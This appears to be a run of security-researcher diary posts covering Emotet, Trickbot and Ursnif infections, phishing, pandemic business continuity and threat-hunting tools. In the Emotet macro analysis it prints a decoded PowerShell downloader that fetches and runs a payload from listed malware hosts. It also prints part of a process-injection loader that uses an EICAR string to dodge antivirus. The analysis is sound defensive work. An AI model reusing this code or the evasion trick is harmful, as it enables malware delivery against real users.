Introduction

URLhaus is a great resource to check for malicious URLs associated with malware.  I use it frequently to get a URL for a Word doc related to Emotet so I can generate a full chain of events for an Emotet infection.  The flow chart for an Emotet infection looks like this:

Shown above:  Flow chart for Emotet activity covered in this diary.

I generated an Emotet infection on Monday 2020-01-27.  This diary reviews traffic and malware associated with the infection.

Of note, you might see the terms epoch 1, epoch 2, or epoch 3 associated with information about Emotet.  Each "epoch" identifies a botnet distributing Emotet.  Epochs 1, 2, and 3 each have their own infrastructure, so Windows executable files and Word documents associated with Emotet should fall under one of these three epochs.

You might also see the term gtag associated with Trickbot.  This is a tag used by Trickbot to identify the campaign distributing this family of malware.  Currently, gtags starting with mor identify Trickbot distributed through an Emotet infection.  On Monday 2020-01-27, we saw gtag mor84 for this Trickbot campaign.  On Tuesday 2020-01-28, we should see gtag mor85.

Infection traffic

I saw infection traffic typical of Emotet and Trickbot infections.  For anyone who keeps tabs on Emotet, this should no suprise.

Indicators of compromise (IOCs)

The following are indicators from the Emotet and Trickbot infection I generated on Monday 2020-01-27:

HTTP request for the initial Word doc:

• 104.28.7[.]44 port 80 - ikosher.co[.]il - GET /discussiono/multifunctional-section/close-4hfy6o73iy-06x/383167265-j3LVOCu77d3B/

HTTPS traffic for Emotet binary after enabling Word macro:

• 173.231.214[.]60 port 443 (HTTPS traffic) - delhisexclinic[.]com - GET /zds/jUzItNFoNN/

Emotet post-infection traffic:

• 190.6.193[.]152 port 8080 - 190.6.193[.]152:8080 - POST /wbFcaqy5zdJxDV
• 200.69.224[.]73 port 80 - 200.69.224[.]73 - POST /v4ZuR6CnU
• 200.69.224[.]73 port 80 - 200.69.224[.]73 - POST /OwgR
• 51.159.23[.]217 port 443 - 51.159.23[.]217:443 - POST /OwgR
• 51.159.23[.]217 port 443 - 51.159.23[.]217:443 - POST /CnnW94MVhQGtJZSjR
• 200.69.224[.]73 port 80 - 200.69.224[.]73 POST /Yuy3Hh3
• 200.69.224[.]73 port 80 - 200.69.224[.]73 - POST /aLWChqlBNn8isE
• 200.69.224[.]73 port 80 - 200.69.224[.]73 - POST /X2XDUN0TWIhtvxsrt

Trickbot post-infection traffic:

• port 443 - ident[.]me - HTTPS traffic, IP address check caused by Trickbot (not inherently malicious)
• 190.214.13[.]2 port 449 - HTTPS traffic caused by Trickbot
• 194.99.21[.]137 port 447 - HTTPS traffic caused by Trickbot
• 203.176.135[.]102 port 8082 - 203.176.135[.]102:8082 - POST /mor84/[string with host name and other info]/81/
• 203.176.135[.]102 port 8082 - 203.176.135[.]102:8082 - POST /mor84/[string with host name and other info]/90

Malware info:

SHA256 hash: c963c83bc1fa7d5378c453463ce990d85858b7f96c08e9012a7ad72ea063f31e

• File size: 155,379 bytes
• File location: hxxp://ikosher.co[.]il/discussiono/multifunctional-section/close-4hfy6o73iy-06x/383167265-j3LVOCu77d3B/
• File name: Dat 2020_01_27 48060.doc
• File description: Word doc with macro for Emotet (epoch 1)

SHA256 hash: 006d5fda899149df4cc5d6d1b1ae52e9fcc4ade7541c1dd4391e0429d843b4d5

• File size: 356,475 bytes
• File location: hxxps://delhisexclinic[.]com/zds/jUzItNFoNN/
• File location: C:\Users\[username]\797.exe
• File location: C:\Users\[username]\AppData\local\[2- or 3-word combo]\[same 2- or 3-word combo].exe
• File description: Emotet malware binary (epoch 1)

SHA256 hash: dd20506b3c65472d58ccc0a018cb67c65fab6718023fd4b16e148e64e69e5740

• File size: 495,693 bytes
• File location: C:\ProgramData\[random alpha-numeric string].exe
• File location: C:\Users\[username]\AppData\Roaming\windirect\[Armenian text].exe
• File description: Trickbot gtag mor84

Final words

Overall no surprises here, but a reminder of this activity is useful for people who don't normally investigate Emotet or Trickbot infections.  An up-to-date Windows host with the latest version of Microsoft Office should not succumb to these sorts of infections.  To infect a vulnerable computer, people would have to click through various warnings, and they would also need to bypass many of the default security settings in recent versions of Windows 10.

A pcap of the infection traffic and the associated malware can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

With the new Coronavirus outbreak starting to dominate the news, I want to go over some cybersecurity effects of a disease like this that you should prepare for.

There are two cybersecurity-related aspects of an emergency like this:

• Fraud and other ways of how criminals try to take advantage of situations like this.
• Business continuity preparedness.

In past disasters, we have seen different ways of how criminals try to take advantage of a situation like this:

1. Fake Donations

Various entitles have already started to register domain names around the name "coronavirus." In past events, we have seen some of these domains being used for fake donation web sites. They may also be used for other less legitimate business purposes like selling overpriced supplies. At this point, all the domains I have seen are parked or not yet active with content, so it is hard to tell what will happen.

2. Malware

Malware authors are always looking for new ruses to get people to open their attachment. In the past, we have seen malicious videos and other attachments being used to spread malware.

3. Fake News

Fake news is not only used to influence elections. Sometimes it is done to attract more eyeballs to a YouTube channel. Be careful who you trust, and don't let sensational news cause you to panic. Panic is not the right state to make sensible decisions.

Please let us know if you see any of this.

From a business continuity perspective, I like the CDC checklist (https://www.cdc.gov/flu/pandemic-resources/pdf/businesschecklist.pdf ). I only highlight some items from it. Another excellent resource is the response plan published by Public Health England: https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/344695/PI_Response_Plan_13_Aug.pdf

I only highlight some items from it.

First of all: Unless your business is supporting critical infrastructure or healthcare, employee safety has to come before business continuity. Sometimes it is just best to shut down and go home until the crisis is over.

1. Remote Access

Even during a relatively mild outbreak, people may not be willing or able to come to work. Even for the common flu, it is much preferred for someone to stay at home and maybe do a little bit of work vs. coming to work and infecting others (remember the flu is estimated to kill 8,200-20,000 people this season in the US alone). You must have functional and secure remote access set up. There are several different VPN and similar solutions. Voice and video conferencing solutions should be part of this. It should be easy for people to stay at home for a few days. You may also want to consider loaner laptops. It is much simpler and more secure to have employees working from home use corporate computers with a known secure configuration vs. using a random home computer. Test remote access while you still have people in the office to fix issues. This is in particular important if you need remote access for administrative purposes like rebooting systems. Many organizations have migrated systems to the cloud and should be used to manage them remotely (but if you did it right, you may have whitelisted specific IPs for remote management access)

In a pandemic situation, the remote access solution may be the resource that is constrained. Considerations should be put into investigating shorter timeout value and determine who are the critical users to be put in a special group for more extended and continuous access. Regular users can have a different profile to consume less load on the VPN equipment.

2. Biometric Identification

Many biometric identification systems are problematic. Fingerprint scanners often do not work with gloves or can be a conduit for infection. Facial recognition does not work while someone is wearing a mask. Devise some alternative means to authenticate for emergency access. At the very least, have some sanitizer ready to clean surfaces people need to touch to authenticate.

3. When and How to Shut Down

In some cases, it may be best to just shut down for a while If your business is not part of the health care or critical infrastructure. Business continuity plans should not endanger anybody's life. Have a plan for when and how to shut down. Which systems are shut down first? How can we reduce the load on system administrators and security analysts, so fewer of them have to come to work? If you decide to shut down all the way: How do you ensure some physical security of your space (boarding up, a company monitoring the space?).

4. Supply Chain Continuity

It appears to be already apparent that the Chinese economy will, at least in the short term, be significantly affected. Some of the effects are delayed due to scheduled shutdowns during the lunar new year. Of course, similar travel restrictions could also affect other countries. How many critical supplies do you have on-site? Most modern businesses try very hard to minimize the amount of inventory, which in turn makes them very vulnerable to supply disruptions. The availability of supplies could also affect your decision to shut down. Do not overlook your “internal supply chain”. Which locations/individuals are critical to your operations?

5. Emergency communication plan

Now is an excellent time to make sure your phone lists are up to date. Make sure critical people can be reached. If possible, there should be diverse methods to reach each other (really hard to do with "everything over IP"). Another part of this is how the organization will communicate its plan to employees, suppliers, and customers. There should be multiple means, and they need to be communicated ahead of time. (Website, Twitter, phone number to call). Miscreants may exploit any weakness in your communication plan to spread rumors about your organization or to impersonate your company. Your escalation plan should be included in the review of your communication plan.

6. How can you help others?

During a crisis, first responders will likely soon get worn out and need support. There may also be assets (space, materials…) that your company does not need right now that you can use to help. Typically, this can only happen if you made necessary connections ahead of time.

And of course: Please let me know what else should be noted (or point out any mistakes I made above)

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

Over the past two years a lot of articles, processes, techniques and tools have been published on how to do Threat Hunting. I have been following the trend with great interest whether it be which process works best, methods and procedures to follow and adapt to your environment, and finally logs or tools that can help the hunt.

I have taken a simplistic approach to Threat Hunting and for me it is: Proactively searching for threats missed by every defenses in the enterprise. We are Threat Hunting for the unknown! Assume something is already compromised.

That is a tall order, where do we start? There first step is to know the network I'm defending. In order to do this well, it means to have a pretty good knowledge what the network looks like (i.e. network diagrams, traffic flows, client → server relationship, etc) and the type of activity considered normal. Anything deviating from that "normal" need to be investigated.

The next step is to collect the logs that will help with the hunt; such as host and network logs to fuse traffic flow in a way that can help identify unusual pattern of activity.

Some of the logs that might be important to collect (not exhaustive) might be: proxy, web & application servers, DNS, host-based, antivirus, EndPoint Detection Response (EDR), firewall, etc. In the end, each organization is unique. Using the Mitre ATT&CK framework can help the hunt by identifying the tactics and techniques that will help capture the most promising logs to detect and identify unusual behavior happening in the network.

Over the years, several handlers have published various articles on Threat Hunting whether it be process, methods or tools like rita [1][2] or HELK [3] to help with the hunt.

If you are interested in learning how to conduct Threat Hunting in your network and missed Active Countermeasures' last course, they are conducting another free, one-day, Cyber Threat Hunting Training online course on the 4 April where you can see the course content and register here.

[1] https://isc.sans.edu/forums/diary/DeepBlueCLI+Powershell+Threat+Hunting/25730
[2] https://isc.sans.edu/forums/diary/Using+RITA+for+Threat+Analysis/23926
[3] https://isc.sans.edu/forums/diary/Threat+Hunting+Adversary+Emulation+The+HELK+vs+APTSimulator+Part+1/23525
[4] https://www.activecountermeasures.com/free-tools/rita/
[5] https://register.gotowebinar.com/register/6883873380989840395
[6] https://attack.mitre.org/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

... because it works!

Probably, some phishing emails get delivered into your mailbox every day and you ask yourself: "Why do they continue to spam us with so many emails? We are aware of phishing and it will not affect my organization!"

First of all, emails remain a very popular way to get in content with the victim. Then, sending massive phishing campaigns does not cost a lot of money. You can rent a bot to send millions of emails for a few bucks. Hosting the phishing kit is also very easy. They are tons of compromised websites that deliver malicious content. But phishing campaigns are still valuable from an attacker perspective when some conditions are met:

1. The mail is properly crafted and looks like an official one (same layout, signature, no typo, correct sentences, same "style")
2. The mail attracts the victim's attention (based on an event, a colleague, some "juicy" topics)
3. Make the victim confident (pretend to use the tools and services used at work)
4. The victim is not attentive to the content of the mail or the link (lack of concentration)

Here is a real story. Yesterday my wife explained that she felt into the trap! She was on the phone with a customer and, waiting for some feedback, she received an email from a colleague (a legit email she said - all details looked ok - signature, name, etc). That's the condition #1 from the list above. Her colleague pretended to share a file about a project via OneNote (Conditions #2 and #3). She knows the sender and she works on projects with him and the organization has the full Microsoft products stack. So, while waiting on the phone, she clicked on the link, got the classic login page and provided her credentials... (condition #4). She said, "I know that they take security seriously so it looked normal to authenticate one more time".

She did not see that the URL was, of course, not the right one (speaking with the customer at the same time). When her credentials were rejected several times, she realized that it was a phishing attempt and changed her credentials immediately. In the meantime, the helpdesk sent an email to all employees to report the ongoing phishing attack! Probably, she was the patient "zero".

Conclusion: awareness is key, you might feel confident at detecting phishing attempts but just one second of distraction and it's game over!

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Today, I would like to make a comparison between two techniques applied to malicious code to try to bypass AV detection.

The Emotet malware family does not need to be presented. Very active for years, new waves of attacks are always fired using different infection techniques. Yesterday, an interesting sample was spotted at a customer. The security perimeter is quite strong with multiple lines of defenses based on different technologies/vendors. This one passed all the controls! A malicious document was delivered via a well-crafted email. The document (SHA256:ff48cb9b2f5c3ecab0d0dd5e14cee7e3aa5fc06d62797c8e79aa056b28c6f894) has a low VT score of 18/61[1] and is not detected by some major AV players.

When you open the document, you see a classic message asking to enable macros:

It contains a lot of macros: 

root@remnux:/tmp# oledump.py b0199e708ccd55cd5dbd8c3044bcb3d3.doc
  1:      4096 '\x05DocumentSummaryInformation'
  2:       416 '\x05SummaryInformation'
  3:      6952 '1Table'
  4:    173280 'Data'
  5:        97 'Macros/Aaqpwcyjy/\x01CompObj'
  6:       266 'Macros/Aaqpwcyjy/\x03VBFrame'
  7:        38 'Macros/Aaqpwcyjy/f'
  8:         0 'Macros/Aaqpwcyjy/o'
  9:        97 'Macros/Aurgxwib/\x01CompObj'
 10:       265 'Macros/Aurgxwib/\x03VBFrame'
 11:        38 'Macros/Aurgxwib/f'
 12:         0 'Macros/Aurgxwib/o'
 13:        97 'Macros/Bowmosjym/\x01CompObj'
 14:       266 'Macros/Bowmosjym/\x03VBFrame'
 15:        38 'Macros/Bowmosjym/f'
 16:         0 'Macros/Bowmosjym/o'
 17:        97 'Macros/Byzayjrzopom/\x01CompObj'
 18:       269 'Macros/Byzayjrzopom/\x03VBFrame'
 19:        38 'Macros/Byzayjrzopom/f'
 20:         0 'Macros/Byzayjrzopom/o'
 21:        97 'Macros/Dwvsngqx/\x01CompObj'
 22:       265 'Macros/Dwvsngqx/\x03VBFrame'
 23:        38 'Macros/Dwvsngqx/f'
 24:         0 'Macros/Dwvsngqx/o'
 25:        97 'Macros/Edloxjeo/\x01CompObj'
 26:       265 'Macros/Edloxjeo/\x03VBFrame'
 27:        38 'Macros/Edloxjeo/f'
 28:         0 'Macros/Edloxjeo/o'
 29:        97 'Macros/Gkzhprtrh/\x01CompObj'
 30:       266 'Macros/Gkzhprtrh/\x03VBFrame'
 31:        38 'Macros/Gkzhprtrh/f'
 32:         0 'Macros/Gkzhprtrh/o'
 33:        97 'Macros/Gvvqnzjwxfuan/\x01CompObj'
 34:       270 'Macros/Gvvqnzjwxfuan/\x03VBFrame'
 35:        38 'Macros/Gvvqnzjwxfuan/f'
 36:         0 'Macros/Gvvqnzjwxfuan/o'
 37:        97 'Macros/Ihxxfvrwmsl/\x01CompObj'
 38:       268 'Macros/Ihxxfvrwmsl/\x03VBFrame'
 39:        38 'Macros/Ihxxfvrwmsl/f'
 40:         0 'Macros/Ihxxfvrwmsl/o'
 41:        97 'Macros/Jvfzzjbxrowh/\x01CompObj'
 42:       269 'Macros/Jvfzzjbxrowh/\x03VBFrame'
 43:        38 'Macros/Jvfzzjbxrowh/f'
 44:         0 'Macros/Jvfzzjbxrowh/o'
 45:        97 'Macros/Mtjtwicbsd/\x01CompObj'
 46:       294 'Macros/Mtjtwicbsd/\x03VBFrame'
 47:       690 'Macros/Mtjtwicbsd/f'
 48:       112 'Macros/Mtjtwicbsd/i09/\x01CompObj'
 49:        44 'Macros/Mtjtwicbsd/i09/f'
 50:         0 'Macros/Mtjtwicbsd/i09/o'
 51:       112 'Macros/Mtjtwicbsd/i11/\x01CompObj'
 52:        44 'Macros/Mtjtwicbsd/i11/f'
 53:         0 'Macros/Mtjtwicbsd/i11/o'
 54:     17548 'Macros/Mtjtwicbsd/o'
 55:      1627 'Macros/PROJECT'
 56:        97 'Macros/Qimyzezwop/\x01CompObj'
 57:       267 'Macros/Qimyzezwop/\x03VBFrame'
 58:        38 'Macros/Qimyzezwop/f'
 59:         0 'Macros/Qimyzezwop/o'
 60:        97 'Macros/Qpxofroiwd/\x01CompObj'
 61:       267 'Macros/Qpxofroiwd/\x03VBFrame'
 62:        38 'Macros/Qpxofroiwd/f'
 63:         0 'Macros/Qpxofroiwd/o'
 64:        97 'Macros/Tpklalyhfljol/\x01CompObj'
 65:       270 'Macros/Tpklalyhfljol/\x03VBFrame'
 66:        38 'Macros/Tpklalyhfljol/f'
 67:         0 'Macros/Tpklalyhfljol/o'
 68: m    1168 'Macros/VBA/Aaqpwcyjy'
 69: m    1166 'Macros/VBA/Aurgxwib'
 70: m    1168 'Macros/VBA/Bowmosjym'
 71: m    1172 'Macros/VBA/Byzayjrzopom'
 72: m    1166 'Macros/VBA/Dwvsngqx'
 73: m    1167 'Macros/VBA/Edloxjeo'
 74: M    8509 'Macros/VBA/Fpbluteic'
 75: m    1168 'Macros/VBA/Gkzhprtrh'
 76: m    1170 'Macros/VBA/Gvvqnzjwxfuan'
 77: m    1168 'Macros/VBA/Ihxxfvrwmsl'
 78: m    1170 'Macros/VBA/Jvfzzjbxrowh'
 79: m    1168 'Macros/VBA/Mtjtwicbsd'
 80: M    1297 'Macros/VBA/Qbfgynhpfd'
 81: m    1169 'Macros/VBA/Qimyzezwop'
 82: m    1169 'Macros/VBA/Qpxofroiwd'
 83: m    1172 'Macros/VBA/Tpklalyhfljol'
 84: m    1168 'Macros/VBA/Wizfuemxxtf'
 85: m    1167 'Macros/VBA/Yxjeviftd'
 86:     13896 'Macros/VBA/_VBA_PROJECT'
 87:      2278 'Macros/VBA/__SRP_0'
 88:       170 'Macros/VBA/__SRP_1'
 89:       304 'Macros/VBA/__SRP_2'
 90:       103 'Macros/VBA/__SRP_3'
 91:      1655 'Macros/VBA/dir'
 92:        97 'Macros/Wizfuemxxtf/\x01CompObj'
 93:       268 'Macros/Wizfuemxxtf/\x03VBFrame'
 94:        38 'Macros/Wizfuemxxtf/f'
 95:         0 'Macros/Wizfuemxxtf/o'
 96:        97 'Macros/Yxjeviftd/\x01CompObj'
 97:       266 'Macros/Yxjeviftd/\x03VBFrame'
 98:        38 'Macros/Yxjeviftd/f'
 99:         0 'Macros/Yxjeviftd/o'
100:      4096 'WordDocument'

The section #80 contains the Document_Open() macro:

Private Sub Document_open()
Fpbluteic.Hsotirhndywz
End Sub

And the section #74 contains the malicious macro itself:

root@remnux:/tmp# oledump.py b0199e708ccd55cd5dbd8c3044bcb3d3.doc -v -s 74|head -20
Attribute VB_Name = "Fpbluteic"
Function Rrjetvrunb()
   ReDim Pjchunjdvhhkn(3)
Pjchunjdvhhkn(0) = 34
Pjchunjdvhhkn(1) = 345
Pjchunjdvhhkn(2) = 6666
Uxdzokmpe = 849
Bpmyuascqdm = CLng(77)
Bluxtzkss = Oct(24 * Sgn(13) - UJxPE48 * 34)
Nlgostxvgu = Sin(HoPjA4 / CLng(34) + zIVMk49r * Fix(1))
Ncbmlghku = ChrW(I + wdKeyP)
   ReDim Pjchunjdvhhkn(3)
Pjchunjdvhhkn(0) = 34
Pjchunjdvhhkn(1) = 345
Pjchunjdvhhkn(2) = 6666
Sebkmtyip = 849
Bcxznucp = CLng(77)
Pvoawmwk = Oct(24 * Sgn(13) - UJxPE48 * 34)
Pvjtspxzzttzi = Sin(HoPjA4 / CLng(34) + zIVMk49r * Fix(1))
Fymbyplsyh = Ncbmlghku + Mtjtwicbsd.Njrmohrydyi + Mtjtwicbsd.Ozqdaobluxyt

Different obfuscation techniques are used like this one. FIrst, a lot of unused code is inserted. Then, the macro is obfuscated with groups of characters used as a separator. Letters are extracted in an array that is “joined” later to build the string:

dv = "i/sJnjK==//sad/sJnjK==//sadnm/sJnjK==//sadg/sJnjK==//sad/sJnjK==//sadm/sJnjK==//sadt" + ChrW(wdKeyS) + \
":/sJnjK==//sadw/sJnjK==//sad/sJnjK==//sadi/sJnjK==//sadn3/sJnjK==//sad2/sJnjK==//sad_" + Mtjtwicbsd.Eztddaol + \
"/sJnjK==//sadr/sJnjK==//sadoc/sJnjK==//sad/sJnjK==//sade/sJnjK==//sad/sJnjK==//sads/sJnjK==//sads"
fd = "/sJnjK==//sad"
Qrdkcdxapv = Split("/sJnjK==//sad/sJnjK==//sadw/sJnjK==//sad/sJnjK==//sad" + dv + T, fd) 
Ldltzzvlia = Join(Qrdkcdxapv, "")

The variable 'Ldltzzvlia' contains: 

winmgmt" + ChrW(wdKeyS) + ":win32_" + Mtjtwicbsd.Eztddaol + "rocess

The macro launches a Powershell script with a long Base64 encoded payload:

Powershell -w hidden -en JABXAG8AYwBnAGMAZQBzAGkAbwA9ACcAUABxAGMAdg ... A9ACcATAB2AGkAYwBrAGIAegBrAHUAcAB4AGUAZwAnAA==

Here is the decoded string:

$Wocgcesio='Pqcvqskj';$Ulfiwvmlyjk = '911';$Yedelhmjclzu='Ndozzfffcsg';$Xhmvpctbpjqe=$env:userprofile+'\'+ \
$Ulfiwvmlyjk+'.exe';$Ufzasubqxcx='Vfesqwfico';$Jrakygjlzls=.('n'+'ew-ob'+'ject') neT.WEBcLIEnt; \
$Ngvszfsvxf='http://justinscolary.com/activate/kcJJSI/*hxxps://wwwblog[.]loanwalle[.]com/cgi-bin/Mz7m8a7H/*hxxp://luisaramazzotti[.]com/8pkb7/MhEu4080/*hxxp://51[.]15[.]206[.]214/dp_world_staging/uploads/content/sustainability/AqGCnlJ0cM/*hxxp://35[.]188[.]191[.]27/terranovas/1zEWKX/'"sPl`It"([char]42);$Yiotbkyrrr='Kgzvwpaq';foreach($Opbokjlb in $Ngvszfsvxf){try{$Jrakygjlzls."DOw`NL`o`ADFIlE"($Opbokjlb, $Xhmvpctbpjqe); \
$Jabjckoirrd='Mmxwszbtdcbh';If ((('G'+'et-It'+'em') $Xhmvpctbpjqe)."L`e`NGTH" -ge 27390) \ 
{[DiagnosticsProcess]::"sta`Rt"($Xhmvpctbpjqe);$Lnngfjyors='Diamzulnizt';break;$Eufxabtnewe='Kknxfdklxldpb'}}catch{}}$Iblufpapsqrqo='Lvickbzkupxeg'

The payload 911.exe is downloaded from one of those URLs:

hxxp://justinscolary[.]com/activate/kcJJSI/
hxxps://wwwblog[.]loanwalle.com/cgi-bin/Mz7m8a7H/
hxxp://luisaramazzotti[.]com/8pkb7/MhEu4080/
hxxp://51[.]15[.]206[.]214/dp_world_staging/uploads/content/sustainability/AqGCnlJ0cM/
hxxp://35[.]188[.]191[.]27/terranovas/1zEWKX/

The Emotet dropped payload is called 911.exe (SHA256:c2fb228e924d84f00f3cff29f1e6bf243c2600806fed26c0086b69c1b4839f57) and has a score of 9/73[2]. 

If the obfuscation techniques used in the macro are complex, sometimes we can have the opposite and attackers are trying to defeat basic controls. Here is another sample that I found (a malicious Powershell script that performs process injection). Nothing new but I was surprised by the line present at the beginning of the script:

Set-StrictMode -Version 2

$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'

$DoIt = @'
$assembly = @"
  using System;
  using System.Runtime.InteropServices;
  namespace inject {
    public class func {
      [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
      [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
      [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
      [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
      [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
      [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
    }
  }
"@
$compiler = New-Object Microsoft.CSharp.CSharpCodeProvider
$params = New-Object System.CodeDom.Compiler.CompilerParameters
$params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$params.GenerateInMemory = $True
$result = $compiler.CompileAssemblyFromSource($params, $assembly)

[Byte[]]$var_code = [System.Convert]::FromBase64String("TVpBUlVIieVIgewgAAAASI...

You can see the classic EICAR test file[3]. I was wondering why to write something that should normally trigger all antivirus on the market. I asked on Twitter and I had an interesting reply:

Indeed the file has a very low score of… 6/37![4]. Probably most AV's stop processing the file when then triggered a low-risk signature.

Sometimes, a simple trick is enough to bypass security controls...

[1] https://www.virustotal.com/gui/file/ff48cb9b2f5c3ecab0d0dd5e14cee7e3aa5fc06d62797c8e79aa056b28c6f894/detection
[2] https://www.virustotal.com/gui/file/c2fb228e924d84f00f3cff29f1e6bf243c2600806fed26c0086b69c1b4839f57/detection
[3] https://en.wikipedia.org/wiki/EICAR_test_file
[4] https://www.virustotal.com/gui/file/ba2e7e5f9ae40db32afa4c03ec43adf96ca2beae38f4e2b798dd8b907d8761d3/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

On Tuesday 2020-01-21, a wave of malicious spam (malspam) hit various recipients in Germany.  Messages from this German malspam were email chains associated with infected Windows hosts, and these emails all had password-protected zip archives as attachments.  A closer look revealed this malspam was pushing Ursnif.

Today's diary reviews this malspam and an Ursnif infection from one of the attachments on Tuesday 2020-01-21.

Shown above:  Flow chart for an infection from this wave of German malspam.

The malspam

See the next three images for examples from this wave of malspam.  Of note, this campaign often used 777 as the password for the attached zip archive.  In this wave of malspam, we saw passwords 111, 333, and 555.  Other passwords were probably used as well in examples we have not yet reviewed.

Shown above:  An example of the malspam from Tuesday 2020-01-21 (1 of 3).

Shown above:  An example of the malspam from Tuesday 2020-01-21 (2 of 3).

Shown above:  An example of the malspam from Tuesday 2020-01-21 (3 of 3).

The attachments

Using the password from the email, you can extract a Microsoft Word document from the password-protected zip archive.  The message in the Word document is in German, and it directs you to enable macros.  All of the Word documents are named info_01_21.doc.  Of note, in recent versions of Microsoft Office, you must disable Protected Mode and bypass some other security features to enable macros and infect a vulnerable Windows host.

Shown above:  Extracting a Word document from one of the password-protected zip archives.

Shown above:  An example of an extracted Word document.

The infection traffic

Infection traffic is typical for Ursnif infections in recent months.  Other examples of Ursnif traffic can be found here, which contains infections from 2019.  Of note, the follow-up malware for this Ursnif infection was another Ursnif variant.

Shown above:  Traffic from an infection filtered in Wireshark.

Forensics on an infected Windows host

The infected windows host contained artifacts commonly seen with these type of Ursnif infections.  See the images below for details.

Shown above:  Artifacts in seen the C:\Windows\Temp directory after enabling macros.

Shown above:  Follow-up malware found on the infected Windows host.

Shown above:  Update to the Windows registry caused by Ursnif to keep it persistent on the infected host.

Indicators of Compromise (IoCs)

Infection traffic from the initial Ursnif infection:

• 80.85.157[.]246 port 80 - emblareppy[.]com GET /gunshu/lewasy.php?l=ambobi9.cab
• port 80 - settings-win.data.microsoft[.]com - GET /images/[long string].avi
• 80.85.153[.]218 port 80 - pzhmnbarguerite4819[.]com - GET /images/[long string].avi
• 95.169.181[.]33 port 80 - n60peablo[.]com - GET /images/[long string].avi
• port 443 - settings-win.data.microsoft[.]com - HTTPS traffic
• 45.141.103[.]204 port 443 - nk47yicbnnsi[.]com - HTTPS traffic

Request for the follow-up malware:

• 104.193.252[.]157 port 80 - 104.193.252[.]157 - GET /fonelsid.rar

Infection traffic caused by the follow-up malware (another Ursnif variant):

• port 80 - google[.]com - GET /
• port 80 - www.google[.]com - GET /
• DNS queries for onionpie[.]at - no response from the server
• DNS queries for tahhir[.]at - no response from the server
• 80.249.145[.]116 port 80 - limpopo[.]at - GET /images/[long string]
• 109.175[.]7.8 port 80 - estate-advice[.]at - GET /images/[long string]
• 5.56.73[.]146 port 80 - sweetlights[.]at - GET /g32.bin
• 5.56.73[.]146 port 80 - sweetlights[.]at - GET /g64.bin
• 5.56.73[.]146 port 80 - estate-advice[.]at - POST /images/[long string]
• 185.95.185[.]58 port 80 - estate-advice[.]at - GET /images/[long string]
• 80.249.145[.]116 port 80 - limpopo[.]at - POST /images/[long string]
• 51.223.47[.]15 port 80 - estate-advice[.]at - POST /images/[long string]

Malware info:

SHA256 hash: 957573dc5e13516da0d01f274ab28a141dddc8b6609fa35fde64a4900cb793e6

• File size: 127,243 bytes
• File name: info_12_21.doc
• File description: Word doc with macro for Ursnif

SHA256 hash: 05ec03276cdbb36fdd8433beca53b6c4a87fa827a542c5d512dcbb2cf93023c9

• File size: 3,651 bytes
• File location: C:\Windows\Temp\axsUG8.xsl
• File description: XSL file dropped by Word macro

SHA256 hash: c7f801c491d705cd5e6a202c7c5084874235e19b5505d8e0201111cb3789a9c8

• File size: 265,216 bytes
• File location: hxxp://emblareppy[.]com/gunshu/lewasy.php?l=ambobi9.cab
• File location: C:\Windows\Temp\aaNuLh.dll
• File description: Ursnif DLL file retrieved using XSL file
• DLL note: "C:\Windows\System32\rundll32.exe" c:\Windows\Temp\aaNuLh.dll,DllRegisterServer

SHA256 hash: df824e3e5bb15c7b74d5e8a021f3cbcd867100a02399b9c383488c660ae920b4

• File size: 873,472 bytes
• File location: hxxp://104.193.252[.]157/fonelsid.rar
• File location: C:\Users\[username]\AppData\Local\Temp\[random digits].exe
• File description: Follow-up malware, another Ursnif variant
• File location note: binary returned from fonelsid.rar URL was encoded/encrypted as it was sent over the network

Final words

A pcap of the infection traffic, the associated malware and artifacts, and some malspam examples can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Happy New Year! Those among you who participated in the SANS Holiday Hack Challenge, also known as Kringlecon 2, this holiday season may have found themselves exposed to new tools or the opportunity to utilize one or two that had not hit your radar prior. Such was the case for me with DeepBlueCLI, a PowerShell module for threat hunting via Windows Event Logs.

While others such as EQL and stoQ (an automation framework that helps to simplify the mundane and repetitive tasks an analyst is required to do) come to light, I also reveled in a chance to use RITA for Zeek logs analysis. I covered RITA in 2015 for toolsmith #111, and have really enjoyed its evolution. I found the answer to the related Kringlecon challenge with the current iteration of RITA in two steps. Alas, this is an opportunity to highlight the benefits of yet another cool SANS-related offering in DeepBlueCLI. While the wild man and SANS veteran we all know and love as John Strand is party to RITA, the cool and collected Eric Conrad and the SANS Blue Team bring us DeepBlueCLI.
DeepBlueCLI, in concert with Sysmon, enables fast discovery of specific events detected in Windows Security, System, Application, PowerShell, and Sysmon logs. And I do mean fast, DeepBlueCLI is quick against saved or archived EVTX files. It does take a bit more time to query the running event log service, but no less effective.
You can expect specific command-line logs to be processed including process creation via Windows Security Event ID 4688, as well as Windows PowerShell Event IDs 4103 and 4104, and Sysmon Event ID 1, amonst others. Be sure to read all the GitHub documentation but note the following detection categories, with multiple detections per:

• Suspicious account behaviors
• Command line/Sysmon/PowerShell auditing
• Service auditing
• Mimikatz
• EMET & Applocker Blocks

